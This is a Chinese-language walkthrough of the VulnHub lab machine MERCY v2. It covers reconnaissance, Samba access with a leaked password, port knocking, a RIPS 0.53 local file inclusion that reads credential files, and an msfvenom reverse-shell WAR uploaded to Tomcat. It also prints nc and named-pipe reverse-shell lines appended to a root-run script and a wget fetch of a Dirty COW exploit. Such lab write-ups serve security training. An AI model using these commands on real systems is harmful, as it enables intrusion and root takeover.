实战靶场:MERCY V2
一、知识点和漏洞
1.知识点
1)Samba文件共享服务
2)端口敲门
3)NC反弹shell
4)制作可以反弹shell的木马文件
5)Suid提权
2.漏洞
1)RIPS 0.53的本地文件包含漏洞
2)操作系统层的脏牛提权漏洞【这题里面有点鸡肋】
二、整体环境和工具
1.靶机:
官网地址:https://www.vulnhub.com/entry/digitalworldlocal-mercy-v2,263/
百度网盘下载地址:
链接:https://pan.baidu.com/s/1DN9K60uK-xOX-OKj8X2OKA
提取码:3lk4
靶机安装过程:
1)下载后解压文件夹
2)打开VMware15.5pro软件后
2.操作机:
kali linux 2021
链接:https://pan.baidu.com/s/1oQax7qHoenhehpMsvhp-RQ
提取 码: cj51
3.工具
(1)nmap
●工具说明和安装:存活主机判断、端口服务、操作系统等信息。
●扫描 工具为kali内置则无需安装过程。
使用说明:
a.主机发现 nmap -sP 网段/掩码
b.全面扫描 nmap -A IP地址
c.服务、端口、操作系统信息探测 nmap -sV -O IP地址
(2)dirb
工具说明:
●扫描网站后台目录
●工具为kali内置则无需安装过程
使用说明:
●扫后台 dirb 指定URL
(3)御剑
工具说明:扫描网站后台目录
使用说明:
(4)Searchsploit
工具说明:
●是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的 命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保 存在本地的,在没有网络的情况下也可以使用。 工具为kali内置则无需安装过程
使用说明:基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在 的漏洞和用于渗透的脚本。
(5) Metasploit——msfvenom
工具说明:
●生成木马文件。
●工具为kali内置则无需安装过程。
(6) NC工具
工具说明:nc(netcat)被誉为网络安全界的‘瑞士军刀’通过使用TCP协议或UDP协议的网络 连接去读写数据,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,nc也是一个功能强大的网络调试和探测工具,能够建立几乎所有类型的网络连 接。
使用说明:
反向连接:
●攻击机Kali:nc -lvp 靶机端口
●目标靶机(Windows): nc 攻击者IP 攻击者端口 -e cmd.exe
●目标靶机(Linux):nc 攻击者IP 攻击者端口 -e /bin/bash
POC:
(1)RIPS 0.53的本地文件包含漏洞POC: http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd
详细可以查阅: https://www.exploit-db.com/exploits/18660
脚本程序:
敲门脚本:for x in 序列号(sequence); do nmap -Pn --max-retries 0 -p $x 目标IP; done
三、靶场演练过程
1.整体思路
1)信息收集
2)利用Samba文件共享服务
3)端口敲门
4)扫80端口后台
5)利用RIPS版本漏洞
6)获取Tomcat的webshell
7)Suid中通过timeclock文件进行提权
2.漏洞利用步骤:
步骤1:信息收集
先进行信息收集,判断存活主机【nmap -sP 192.168.240.0/24】
扫描目标主机开放端口、服务、操作系统情况等【nmap -sV -O 192.168.240.132】
可以看到22、80端口都处于filtered的状态
访问8080端口,尝试tomcat管理员弱密码tomcat/tomcat失败。
拿御剑扫一下后台,访问robot.txt,发现新的目录,访问该目录。
应该是一串base64加密字符串,base64解密得到:
It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting silly passwords that will get cracked with any decent password list.
Once, we found the password "password", quite literally sticking on a post-it in front of an employee's desk! As silly as it may be, the employee pleaded for mercy when we threatened to fire her.
No fluffy bunnies for those who set insecure passwords and endanger the enterprise.
中文翻译得到:
这很烦人,但我们一遍又一遍地重复:网络卫生非常重要。请停止设置会被任何像样的密码列表破解的愚蠢密码。
有一次,我们找到了密码“password”,字面意思是贴在员工办公桌前的便利贴上!尽管可能很愚蠢,但当我们威胁要解雇她时,该员工恳求宽恕。
对于那些设置不安全密码并危及企业的人,没有毛茸茸的兔子。
获取到其中有一个密码为password,但暂时没找到利用点。
再次进行信息收集【nmap -sS -A -Pn 192.168.240.132】
步骤2:利用Samba文件共享服务
根据139和445端口,可见该操作系统正运行Samba服务,即文件共享。
尝试连接靶机查看共享的文件夹内容,密码尝试刚刚获取到的password即可进入查看共享文件夹内容【smbclient -L 192.168.240.132】,可以看到存在用户qiu。
直接用用户名qiu登录smb服务,密码为刚刚获取的password。
【smbclient //192.168.240.132/qiu -U qiu】
在/.private/opensesame目录下,获取config文件。
在获取到的config文件中,发现Port Knocking(端口敲门)序列号,主要有两组序列号,一组是用于打开HTTP服务的,另一组用于打开SSH服务的。
步骤3:端口敲门
敲击HTTP脚本文件(knock.sh)内容如下:
【for x in 159 27391 4; do nmap -Pn --max-retries 0 -p $x 192.168.240.132;
done】
敲击SSH脚本文件(knock1.sh)内容如下:
【for x in 17301 28504 9999; do nmap -Pn --max-retries 0 -p $x 192.168.240.132; done】
分别执行两个脚本文件,并通过telnet进行连接验证是否已经敲开HTTP/SSH服务。
都已经成功打开ssh、http80端口。
访问80端口,没什么有用的信息。
步骤4:80端口扫后台
通过dirb扫后台
访问/robot.txt,又获取到两个新的目录。
/mercy目录无用,但/nomercy目录下是RIPS 0.53界面。
步骤5:利用RIPS版本漏洞
【searchsploit rips 0.53】搜索RIPS 0.53版本存在的漏洞,可以发现存在本地文件包含漏洞。
访问https://www.exploit-db.com/exploits/18660可以找到POC:
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd
实验一下是否能够包含出/etc/passwd文件内容。
http://192.168.240.132/nomercy/windows/code.php?file=../../../../../../etc/passwd】
根据8080端口的http服务界面的提示,管理器webapp的使用仅限于角色为“管理器-gui”的用户。主机管理器webapp仅限于角色为“admin-gui”的用户。用户在/etc/tomcat7/tomcat-users.xml中定义。
利用存在的本地包含漏洞POC对/etc/tomcat7/tomcat-users.xml包含访问
http://192.168.240.132/nomercy/windows/code.php?file=../../../../../etc/tomcat7/tomcat-users.xml】成功获取到用户的账号密码。
利用管理员的账号密码登陆tomcat管理界面。
步骤6:获取webshell
通过msfvenom来生成一个反弹war包,将shell反弹到攻击机kali的4455端口上
【msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.240.129 LPORT=4455 -f war -o shell2.war】
将生成的war包上传到Tomcat站点上。
Kali通过7z命令查看war包内容【7z l shell2.war】,生成的是jsp木马为ijldxknqjmr.jsp。
Kali开启监听【nc -lvvp 4455】后访问生成的jsp木马文件来触发反弹shell。
成功获取到反弹shell,并查看当前权限,是个普通用户的权限。
步骤7:suid提权
切换到另一个fluffy用户下,密码为freakishfluffybunny。
尝试通过suid提权。
先查看有哪些是具有root权限的可写文件【find / -type f -perm 0777 2>dev/null】
查看/home/fluffy/.private/secrets/timeclock文件内容。
可以看到/home/fluffy/.private/secrets/timeclock是具有root权限的,并且该脚本是在一定时间间隔后会以root权限运行并写入到/var/www/html/time中。
添加一条nc反向连接命令到脚本timeclock中,将shell反弹到攻击机kali的6677端口上
【echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.240.132 6677 1>/tmp/p" >> timeclock】
在攻击机kali上开启端口监听,要耐心等待一会就会有shell反弹回来。可以看到目前的权限已经是root权限了,提权成功,更改root密码。
四、过程问题记录
1.上传war包时,一开始只知道上传大马文件进行连接,想通过大马上传nc工具反弹shell的,但一直上传文件失败。后来尝试通过msfvenom去生成反弹shell的木马文件进行反弹shell。
2.脏牛提权这一步,uname -a显示该靶机的版本为Linux 4.4大于脏牛提权的条件:内核版本>2.6.22。
是可以使用脏牛提权的。
在攻击机上python -m SimpleHTTPServer快速搭建一个http服务,提供一个文件浏览的web服务。将dirtycow.c上传到攻击机的/var/www/html文件夹下。靶机上在/tmp文件夹下通过wget http://192.168.240.129:8000/dirtycow.c 下载文件后,在靶机上通过gcc编译,但是靶机显示没有gcc包。后来尝试在本地编译后在上传文件,靶机下载编译好的提权文件,但一直下载不下来。查询百度以后知道,靶机是32位的,要专门用32位的脏牛提权文件,并且在kali 2018的32位版本下可以进行编译。【后续这个就没有继续尝试了】
